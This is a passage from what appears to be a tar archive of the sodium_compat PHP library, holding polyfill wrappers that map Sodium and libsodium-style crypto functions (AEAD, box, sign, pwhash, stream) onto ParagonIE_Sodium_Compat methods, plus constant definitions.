        return ParagonIE_Sodium_Compat::crypto_aead_aegis256_encrypt(
            $message,
            $additional_data,
            $nonce,
            $key
        );
    }
}
stream-xchacha20.php000064400000004033151024232700010303 0ustar00<?php

if (!is_callable('sodium_crypto_stream_xchacha20')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_stream_xchacha20()
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_stream_xchacha20(
        $len,
        $nonce,
        #[\SensitiveParameter]
        $key
    ) {
        return ParagonIE_Sodium_Compat::crypto_stream_xchacha20($len, $nonce, $key, true);
    }
}
if (!is_callable('sodium_crypto_stream_xchacha20_keygen')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_stream_xchacha20_keygen()
     * @return string
     * @throws Exception
     */
    function sodium_crypto_stream_xchacha20_keygen()
    {
        return ParagonIE_Sodium_Compat::crypto_stream_xchacha20_keygen();
    }
}
if (!is_callable('sodium_crypto_stream_xchacha20_xor')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_stream_xchacha20_xor()
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_stream_xchacha20_xor(
        #[\SensitiveParameter]
        $message,
        $nonce,
        #[\SensitiveParameter]
        $key
    ) {
        return ParagonIE_Sodium_Compat::crypto_stream_xchacha20_xor($message, $nonce, $key, true);
    }
}
if (!is_callable('sodium_crypto_stream_xchacha20_xor_ic')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_stream_xchacha20_xor_ic()
     * @param string $message
     * @param string $nonce
     * @param int $counter
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_stream_xchacha20_xor_ic(
        #[\SensitiveParameter]
        $message,
        $nonce,
        $counter,
        #[\SensitiveParameter]
        $key
    ) {
        return ParagonIE_Sodium_Compat::crypto_stream_xchacha20_xor_ic($message, $nonce, $counter, $key, true);
    }
}
sodium_compat.php000064400000065466151024232700010135 0ustar00<?php
namespace Sodium;

require_once dirname(dirname(__FILE__)) . '/autoload.php';

use ParagonIE_Sodium_Compat;

/**
 * This file will monkey patch the pure-PHP implementation in place of the
 * PECL functions, but only if they do not already exist.
 *
 * Thus, the functions just proxy to the appropriate ParagonIE_Sodium_Compat
 * method.
 */
if (!is_callable('\\Sodium\\bin2hex')) {
    /**
     * @see ParagonIE_Sodium_Compat::bin2hex()
     * @param string $string
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function bin2hex(
        #[\SensitiveParameter]
        $string
    ) {
        return ParagonIE_Sodium_Compat::bin2hex($string);
    }
}
if (!is_callable('\\Sodium\\compare')) {
    /**
     * @see ParagonIE_Sodium_Compat::compare()
     * @param string $a
     * @param string $b
     * @return int
     * @throws \SodiumException
     * @throws \TypeError
     */
    function compare(
        #[\SensitiveParameter]
        $a,
        #[\SensitiveParameter]
        $b
    ) {
        return ParagonIE_Sodium_Compat::compare($a, $b);
    }
}
if (!is_callable('\\Sodium\\crypto_aead_aes256gcm_decrypt')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_decrypt()
     * @param string $message
     * @param string $assocData
     * @param string $nonce
     * @param string $key
     * @return string|bool
     */
    function crypto_aead_aes256gcm_decrypt(
        $message,
        $assocData,
        $nonce,
        #[\SensitiveParameter]
        $key
    ) {
        try {
            return ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_decrypt($message, $assocData, $nonce, $key);
        } catch (\TypeError $ex) {
            return false;
        } catch (\SodiumException $ex) {
            return false;
        }
    }
}
if (!is_callable('\\Sodium\\crypto_aead_aes256gcm_encrypt')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_encrypt()
     * @param string $message
     * @param string $assocData
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_aead_aes256gcm_encrypt(
        #[\SensitiveParameter]
        $message,
        $assocData,
        $nonce,
        #[\SensitiveParameter]
        $key
    ) {
        return ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_encrypt($message, $assocData, $nonce, $key);
    }
}
if (!is_callable('\\Sodium\\crypto_aead_aes256gcm_is_available')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_is_available()
     * @return bool
     */
    function crypto_aead_aes256gcm_is_available()
    {
        return ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_is_available();
    }
}
if (!is_callable('\\Sodium\\crypto_aead_chacha20poly1305_decrypt')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_decrypt()
     * @param string $message
     * @param string $assocData
     * @param string $nonce
     * @param string $key
     * @return string|bool
     */
    function crypto_aead_chacha20poly1305_decrypt(
        $message,
        $assocData,
        $nonce,
        #[\SensitiveParameter]
        $key
    ) {
        try {
            return ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_decrypt($message, $assocData, $nonce, $key);
        } catch (\TypeError $ex) {
            return false;
        } catch (\SodiumException $ex) {
            return false;
        }
    }
}
if (!is_callable('\\Sodium\\crypto_aead_chacha20poly1305_encrypt')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_encrypt()
     * @param string $message
     * @param string $assocData
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_aead_chacha20poly1305_encrypt(
        #[\SensitiveParameter]
        $message,
        $assocData,
        $nonce,
        #[\SensitiveParameter]
        $key
    ) {
        return ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_encrypt($message, $assocData, $nonce, $key);
    }
}
if (!is_callable('\\Sodium\\crypto_aead_chacha20poly1305_ietf_decrypt')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_decrypt()
     * @param string $message
     * @param string $assocData
     * @param string $nonce
     * @param string $key
     * @return string|bool
     */
    function crypto_aead_chacha20poly1305_ietf_decrypt(
        $message,
        $assocData,
        $nonce,
        #[\SensitiveParameter]
        $key
    ) {
        try {
            return ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_decrypt($message, $assocData, $nonce, $key);
        } catch (\TypeError $ex) {
            return false;
        } catch (\SodiumException $ex) {
            return false;
        }
    }
}
if (!is_callable('\\Sodium\\crypto_aead_chacha20poly1305_ietf_encrypt')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_encrypt()
     * @param string $message
     * @param string $assocData
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_aead_chacha20poly1305_ietf_encrypt(
        #[\SensitiveParameter]
        $message,
        $assocData,
        $nonce,
        #[\SensitiveParameter]
        $key
    ) {
        return ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_encrypt($message, $assocData, $nonce, $key);
    }
}
if (!is_callable('\\Sodium\\crypto_auth')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_auth()
     * @param string $message
     * @param string $key
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_auth(
        $message,
        #[\SensitiveParameter]
        $key
    ) {
        return ParagonIE_Sodium_Compat::crypto_auth($message, $key);
    }
}
if (!is_callable('\\Sodium\\crypto_auth_verify')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_auth_verify()
     * @param string $mac
     * @param string $message
     * @param string $key
     * @return bool
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_auth_verify(
        $mac,
        $message,
        #[\SensitiveParameter]
        $key
    ) {
        return ParagonIE_Sodium_Compat::crypto_auth_verify($mac, $message, $key);
    }
}
if (!is_callable('\\Sodium\\crypto_box')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box()
     * @param string $message
     * @param string $nonce
     * @param string $kp
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_box(
        #[\SensitiveParameter]
        $message,
        $nonce,
        #[\SensitiveParameter]
        $kp
    ) {
        return ParagonIE_Sodium_Compat::crypto_box($message, $nonce, $kp);
    }
}
if (!is_callable('\\Sodium\\crypto_box_keypair')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box_keypair()
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_box_keypair()
    {
        return ParagonIE_Sodium_Compat::crypto_box_keypair();
    }
}
if (!is_callable('\\Sodium\\crypto_box_keypair_from_secretkey_and_publickey')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box_keypair_from_secretkey_and_publickey()
     * @param string $sk
     * @param string $pk
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_box_keypair_from_secretkey_and_publickey(
        #[\SensitiveParameter]
        $sk,
        $pk
    ) {
        return ParagonIE_Sodium_Compat::crypto_box_keypair_from_secretkey_and_publickey($sk, $pk);
    }
}
if (!is_callable('\\Sodium\\crypto_box_open')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box_open()
     * @param string $message
     * @param string $nonce
     * @param string $kp
     * @return string|bool
     */
    function crypto_box_open(
        #[\SensitiveParameter]
        $message,
        $nonce,
        #[\SensitiveParameter]
        $kp
    ) {
        try {
            return ParagonIE_Sodium_Compat::crypto_box_open($message, $nonce, $kp);
        } catch (\TypeError $ex) {
            return false;
        } catch (\SodiumException $ex) {
            return false;
        }
    }
}
if (!is_callable('\\Sodium\\crypto_box_publickey')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box_publickey()
     * @param string $keypair
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_box_publickey(
        #[\SensitiveParameter]
        $keypair
    ) {
        return ParagonIE_Sodium_Compat::crypto_box_publickey($keypair);
    }
}
if (!is_callable('\\Sodium\\crypto_box_publickey_from_secretkey')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box_publickey_from_secretkey()
     * @param string $sk
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_box_publickey_from_secretkey(
        #[\SensitiveParameter]
        $sk
    ) {
        return ParagonIE_Sodium_Compat::crypto_box_publickey_from_secretkey($sk);
    }
}
if (!is_callable('\\Sodium\\crypto_box_seal')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box_seal_open()
     * @param string $message
     * @param string $publicKey
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_box_seal(
        #[\SensitiveParameter]
        $message,
        $publicKey
    ) {
        return ParagonIE_Sodium_Compat::crypto_box_seal($message, $publicKey);
    }
}
if (!is_callable('\\Sodium\\crypto_box_seal_open')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box_seal_open()
     * @param string $message
     * @param string $kp
     * @return string|bool
     */
    function crypto_box_seal_open(
        $message,
        #[\SensitiveParameter]
        $kp
    ) {
        try {
            return ParagonIE_Sodium_Compat::crypto_box_seal_open($message, $kp);
        } catch (\TypeError $ex) {
            return false;
        } catch (\SodiumException $ex) {
            return false;
        }
    }
}
if (!is_callable('\\Sodium\\crypto_box_secretkey')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box_secretkey()
     * @param string $keypair
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_box_secretkey(
        #[\SensitiveParameter]
        $keypair
    ) {
        return ParagonIE_Sodium_Compat::crypto_box_secretkey($keypair);
    }
}
if (!is_callable('\\Sodium\\crypto_generichash')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_generichash()
     * @param string $message
     * @param string|null $key
     * @param int $outLen
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_generichash(
        $message,
        #[\SensitiveParameter]
        $key = null,
        $outLen = 32
    ) {
        return ParagonIE_Sodium_Compat::crypto_generichash($message, $key, $outLen);
    }
}
if (!is_callable('\\Sodium\\crypto_generichash_final')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_generichash_final()
     * @param string|null $ctx
     * @param int $outputLength
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_generichash_final(
        #[\SensitiveParameter]
        &$ctx,
        $outputLength = 32
    ) {
        return ParagonIE_Sodium_Compat::crypto_generichash_final($ctx, $outputLength);
    }
}
if (!is_callable('\\Sodium\\crypto_generichash_init')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_generichash_init()
     * @param string|null $key
     * @param int $outLen
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_generichash_init(
        #[\SensitiveParameter]
        $key = null,
        $outLen = 32
    ) {
        return ParagonIE_Sodium_Compat::crypto_generichash_init($key, $outLen);
    }
}
if (!is_callable('\\Sodium\\crypto_generichash_update')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_generichash_update()
     * @param string|null $ctx
     * @param string $message
     * @return void
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_generichash_update(
        #[\SensitiveParameter]
        &$ctx,
        $message = ''
    ) {
        ParagonIE_Sodium_Compat::crypto_generichash_update($ctx, $message);
    }
}
if (!is_callable('\\Sodium\\crypto_kx')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_kx()
     * @param string $my_secret
     * @param string $their_public
     * @param string $client_public
     * @param string $server_public
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_kx(
        #[\SensitiveParameter]
        $my_secret,
        $their_public,
        $client_public,
        $server_public
    ) {
        return ParagonIE_Sodium_Compat::crypto_kx(
            $my_secret,
            $their_public,
            $client_public,
            $server_public,
            true
        );
    }
}
if (!is_callable('\\Sodium\\crypto_pwhash')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_pwhash()
     * @param int $outlen
     * @param string $passwd
     * @param string $salt
     * @param int $opslimit
     * @param int $memlimit
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_pwhash(
        $outlen,
        #[\SensitiveParameter]
        $passwd,
        $salt,
        $opslimit,
        $memlimit
    ) {
        return ParagonIE_Sodium_Compat::crypto_pwhash($outlen, $passwd, $salt, $opslimit, $memlimit);
    }
}
if (!is_callable('\\Sodium\\crypto_pwhash_str')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_pwhash_str()
     * @param string $passwd
     * @param int $opslimit
     * @param int $memlimit
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_pwhash_str(
        #[\SensitiveParameter]
        $passwd,
        $opslimit,
        $memlimit
    ) {
        return ParagonIE_Sodium_Compat::crypto_pwhash_str($passwd, $opslimit, $memlimit);
    }
}
if (!is_callable('\\Sodium\\crypto_pwhash_str_verify')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_pwhash_str_verify()
     * @param string $passwd
     * @param string $hash
     * @return bool
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_pwhash_str_verify(
        #[\SensitiveParameter]
        $passwd,
        #[\SensitiveParameter]
        $hash
    ) {
        return ParagonIE_Sodium_Compat::crypto_pwhash_str_verify($passwd, $hash);
    }
}
if (!is_callable('\\Sodium\\crypto_pwhash_scryptsalsa208sha256')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256()
     * @param int $outlen
     * @param string $passwd
     * @param string $salt
     * @param int $opslimit
     * @param int $memlimit
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_pwhash_scryptsalsa208sha256(
        $outlen,
        #[\SensitiveParameter]
        $passwd,
        #[\SensitiveParameter]
        $salt,
        $opslimit,
        $memlimit
    ) {
        return ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256($outlen, $passwd, $salt, $opslimit, $memlimit);
    }
}
if (!is_callable('\\Sodium\\crypto_pwhash_scryptsalsa208sha256_str')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str()
     * @param string $passwd
     * @param int $opslimit
     * @param int $memlimit
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_pwhash_scryptsalsa208sha256_str(
        #[\SensitiveParameter]
        $passwd,
        $opslimit,
        $memlimit
    ) {
        return ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str($passwd, $opslimit, $memlimit);
    }
}
if (!is_callable('\\Sodium\\crypto_pwhash_scryptsalsa208sha256_str_verify')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str_verify()
     * @param string $passwd
     * @param string $hash
     * @return bool
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_pwhash_scryptsalsa208sha256_str_verify(
        #[\SensitiveParameter]
        $passwd,
        #[\SensitiveParameter]
        $hash
    ) {
        return ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str_verify($passwd, $hash);
    }
}
if (!is_callable('\\Sodium\\crypto_scalarmult')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_scalarmult()
     * @param string $n
     * @param string $p
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_scalarmult(
        #[\SensitiveParameter]
        $n,
        $p
    ) {
        return ParagonIE_Sodium_Compat::crypto_scalarmult($n, $p);
    }
}
if (!is_callable('\\Sodium\\crypto_scalarmult_base')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_scalarmult_base()
     * @param string $n
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_scalarmult_base(
        #[\SensitiveParameter]
        $n
    ) {
        return ParagonIE_Sodium_Compat::crypto_scalarmult_base($n);
    }
}
if (!is_callable('\\Sodium\\crypto_secretbox')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_secretbox()
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_secretbox(
        #[\SensitiveParameter]
        $message,
        $nonce,
        #[\SensitiveParameter]
        $key
    ) {
        return ParagonIE_Sodium_Compat::crypto_secretbox($message, $nonce, $key);
    }
}
if (!is_callable('\\Sodium\\crypto_secretbox_open')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_secretbox_open()
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @return string|bool
     */
    function crypto_secretbox_open(
        $message,
        $nonce,
        #[\SensitiveParameter]
        $key
    ) {
        try {
            return ParagonIE_Sodium_Compat::crypto_secretbox_open($message, $nonce, $key);
        } catch (\TypeError $ex) {
            return false;
        } catch (\SodiumException $ex) {
            return false;
        }
    }
}
if (!is_callable('\\Sodium\\crypto_shorthash')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_shorthash()
     * @param string $message
     * @param string $key
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_shorthash(
        $message,
        #[\SensitiveParameter]
        $key = ''
    ) {
        return ParagonIE_Sodium_Compat::crypto_shorthash($message, $key);
    }
}
if (!is_callable('\\Sodium\\crypto_sign')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign()
     * @param string $message
     * @param string $sk
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_sign(
        $message,
        #[\SensitiveParameter]
        $sk
    ) {
        return ParagonIE_Sodium_Compat::crypto_sign($message, $sk);
    }
}
if (!is_callable('\\Sodium\\crypto_sign_detached')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_detached()
     * @param string $message
     * @param string $sk
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_sign_detached(
        $message,
        #[\SensitiveParameter]
        $sk
    ) {
        return ParagonIE_Sodium_Compat::crypto_sign_detached($message, $sk);
    }
}
if (!is_callable('\\Sodium\\crypto_sign_keypair')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_keypair()
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_sign_keypair()
    {
        return ParagonIE_Sodium_Compat::crypto_sign_keypair();
    }
}
if (!is_callable('\\Sodium\\crypto_sign_open')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_open()
     * @param string $signedMessage
     * @param string $pk
     * @return string|bool
     */
    function crypto_sign_open($signedMessage, $pk)
    {
        try {
            return ParagonIE_Sodium_Compat::crypto_sign_open($signedMessage, $pk);
        } catch (\TypeError $ex) {
            return false;
        } catch (\SodiumException $ex) {
            return false;
        }
    }
}
if (!is_callable('\\Sodium\\crypto_sign_publickey')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_publickey()
     * @param string $keypair
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_sign_publickey(
        #[\SensitiveParameter]
        $keypair
    ) {
        return ParagonIE_Sodium_Compat::crypto_sign_publickey($keypair);
    }
}
if (!is_callable('\\Sodium\\crypto_sign_publickey_from_secretkey')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_publickey_from_secretkey()
     * @param string $sk
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_sign_publickey_from_secretkey(
        #[\SensitiveParameter]
        $sk
    ) {
        return ParagonIE_Sodium_Compat::crypto_sign_publickey_from_secretkey($sk);
    }
}
if (!is_callable('\\Sodium\\crypto_sign_secretkey')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_secretkey()
     * @param string $keypair
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_sign_secretkey(
        #[\SensitiveParameter]
        $keypair
    ) {
        return ParagonIE_Sodium_Compat::crypto_sign_secretkey($keypair);
    }
}
if (!is_callable('\\Sodium\\crypto_sign_seed_keypair')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_seed_keypair()
     * @param string $seed
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_sign_seed_keypair(
        #[\SensitiveParameter]
        $seed
    ) {
        return ParagonIE_Sodium_Compat::crypto_sign_seed_keypair($seed);
    }
}
if (!is_callable('\\Sodium\\crypto_sign_verify_detached')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_verify_detached()
     * @param string $signature
     * @param string $message
     * @param string $pk
     * @return bool
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_sign_verify_detached($signature, $message, $pk)
    {
        return ParagonIE_Sodium_Compat::crypto_sign_verify_detached($signature, $message, $pk);
    }
}
if (!is_callable('\\Sodium\\crypto_sign_ed25519_pk_to_curve25519')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_ed25519_pk_to_curve25519()
     * @param string $pk
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_sign_ed25519_pk_to_curve25519($pk)
    {
        return ParagonIE_Sodium_Compat::crypto_sign_ed25519_pk_to_curve25519($pk);
    }
}
if (!is_callable('\\Sodium\\crypto_sign_ed25519_sk_to_curve25519')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_ed25519_sk_to_curve25519()
     * @param string $sk
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_sign_ed25519_sk_to_curve25519(
        #[\SensitiveParameter]
        $sk
    ) {
        return ParagonIE_Sodium_Compat::crypto_sign_ed25519_sk_to_curve25519($sk);
    }
}
if (!is_callable('\\Sodium\\crypto_stream')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_stream()
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_stream(
        $len,
        $nonce,
        #[\SensitiveParameter]
        $key
    ) {
        return ParagonIE_Sodium_Compat::crypto_stream($len, $nonce, $key);
    }
}
if (!is_callable('\\Sodium\\crypto_stream_xor')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_stream_xor()
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_stream_xor(
        #[\SensitiveParameter]
        $message,
        $nonce,
        #[\SensitiveParameter]
        $key
    ) {
        return ParagonIE_Sodium_Compat::crypto_stream_xor($message, $nonce, $key);
    }
}
if (!is_callable('\\Sodium\\hex2bin')) {
    /**
     * @see ParagonIE_Sodium_Compat::hex2bin()
     * @param string $string
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function hex2bin(
        #[\SensitiveParameter]
        $string
    ) {
        return ParagonIE_Sodium_Compat::hex2bin($string);
    }
}
if (!is_callable('\\Sodium\\memcmp')) {
    /**
     * @see ParagonIE_Sodium_Compat::memcmp()
     * @param string $a
     * @param string $b
     * @return int
     * @throws \SodiumException
     * @throws \TypeError
     */
    function memcmp(
        #[\SensitiveParameter]
        $a,
        #[\SensitiveParameter]
        $b
    ) {
        return ParagonIE_Sodium_Compat::memcmp($a, $b);
    }
}
if (!is_callable('\\Sodium\\memzero')) {
    /**
     * @see ParagonIE_Sodium_Compat::memzero()
     * @param string $str
     * @return void
     * @throws \SodiumException
     * @throws \TypeError
     *
     * @psalm-suppress MissingParamType
     * @psalm-suppress MissingReturnType
     * @psalm-suppress ReferenceConstraintViolation
     */
    function memzero(
        #[\SensitiveParameter]
        &$str
    ) {
        ParagonIE_Sodium_Compat::memzero($str);
    }
}
if (!is_callable('\\Sodium\\randombytes_buf')) {
    /**
     * @see ParagonIE_Sodium_Compat::randombytes_buf()
     * @param int $amount
     * @return string
     * @throws \TypeError
     */
    function randombytes_buf($amount)
    {
        return ParagonIE_Sodium_Compat::randombytes_buf($amount);
    }
}

if (!is_callable('\\Sodium\\randombytes_uniform')) {
    /**
     * @see ParagonIE_Sodium_Compat::randombytes_uniform()
     * @param int $upperLimit
     * @return int
     * @throws \SodiumException
     * @throws \Error
     */
    function randombytes_uniform($upperLimit)
    {
        return ParagonIE_Sodium_Compat::randombytes_uniform($upperLimit);
    }
}

if (!is_callable('\\Sodium\\randombytes_random16')) {
    /**
     * @see ParagonIE_Sodium_Compat::randombytes_random16()
     * @return int
     */
    function randombytes_random16()
    {
        return ParagonIE_Sodium_Compat::randombytes_random16();
    }
}

if (!defined('\\Sodium\\CRYPTO_AUTH_BYTES')) {
    require_once dirname(__FILE__) . '/constants.php';
}
constants.php000064400000010101151024232700007256 0ustar00<?php
namespace Sodium;

require_once dirname(dirname(__FILE__)) . '/autoload.php';

use ParagonIE_Sodium_Compat;

const CRYPTO_AEAD_AES256GCM_KEYBYTES = ParagonIE_Sodium_Compat::CRYPTO_AEAD_AES256GCM_KEYBYTES;
const CRYPTO_AEAD_AES256GCM_NSECBYTES = ParagonIE_Sodium_Compat::CRYPTO_AEAD_AES256GCM_NSECBYTES;
const CRYPTO_AEAD_AES256GCM_NPUBBYTES = ParagonIE_Sodium_Compat::CRYPTO_AEAD_AES256GCM_NPUBBYTES;
const CRYPTO_AEAD_AES256GCM_ABYTES = ParagonIE_Sodium_Compat::CRYPTO_AEAD_AES256GCM_ABYTES;
const CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES = ParagonIE_Sodium_Compat::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES;
const CRYPTO_AEAD_CHACHA20POLY1305_NSECBYTES = ParagonIE_Sodium_Compat::CRYPTO_AEAD_CHACHA20POLY1305_NSECBYTES;
const CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES = ParagonIE_Sodium_Compat::CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES;
const CRYPTO_AEAD_CHACHA20POLY1305_ABYTES = ParagonIE_Sodium_Compat::CRYPTO_AEAD_CHACHA20POLY1305_ABYTES;
const CRYPTO_AEAD_CHACHA20POLY1305_IETF_KEYBYTES = ParagonIE_Sodium_Compat::CRYPTO_AEAD_CHACHA20POLY1305_IETF_KEYBYTES;
const CRYPTO_AEAD_CHACHA20POLY1305_IETF_NSECBYTES = ParagonIE_Sodium_Compat::CRYPTO_AEAD_CHACHA20POLY1305_IETF_NSECBYTES;
const CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES = ParagonIE_Sodium_Compat::CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES;
const CRYPTO_AEAD_CHACHA20POLY1305_IETF_ABYTES = ParagonIE_Sodium_Compat::CRYPTO_AEAD_CHACHA20POLY1305_IETF_ABYTES;
const CRYPTO_AUTH_BYTES = ParagonIE_Sodium_Compat::CRYPTO_AUTH_BYTES;
const CRYPTO_AUTH_KEYBYTES = ParagonIE_Sodium_Compat::CRYPTO_AUTH_KEYBYTES;
const CRYPTO_BOX_SEALBYTES = ParagonIE_Sodium_Compat::CRYPTO_BOX_SEALBYTES;
const CRYPTO_BOX_SECRETKEYBYTES = ParagonIE_Sodium_Compat::CRYPTO_BOX_SECRETKEYBYTES;
const CRYPTO_BOX_PUBLICKEYBYTES = ParagonIE_Sodium_Compat::CRYPTO_BOX_PUBLICKEYBYTES;
const CRYPTO_BOX_KEYPAIRBYTES = ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES;
const CRYPTO_BOX_MACBYTES = ParagonIE_Sodium_Compat::CRYPTO_BOX_MACBYTES;
const CRYPTO_BOX_NONCEBYTES = ParagonIE_Sodium_Compat::CRYPTO_BOX_NONCEBYTES;
const CRYPTO_BOX_SEEDBYTES = ParagonIE_Sodium_Compat::CRYPTO_BOX_SEEDBYTES;
const CRYPTO_KX_BYTES = ParagonIE_Sodium_Compat::CRYPTO_KX_BYTES;
const CRYPTO_KX_SEEDBYTES = ParagonIE_Sodium_Compat::CRYPTO_KX_SEEDBYTES;
const CRYPTO_KX_PUBLICKEYBYTES = ParagonIE_Sodium_Compat::CRYPTO_KX_PUBLICKEYBYTES;
const CRYPTO_KX_SECRETKEYBYTES = ParagonIE_Sodium_Compat::CRYPTO_KX_SECRETKEYBYTES;
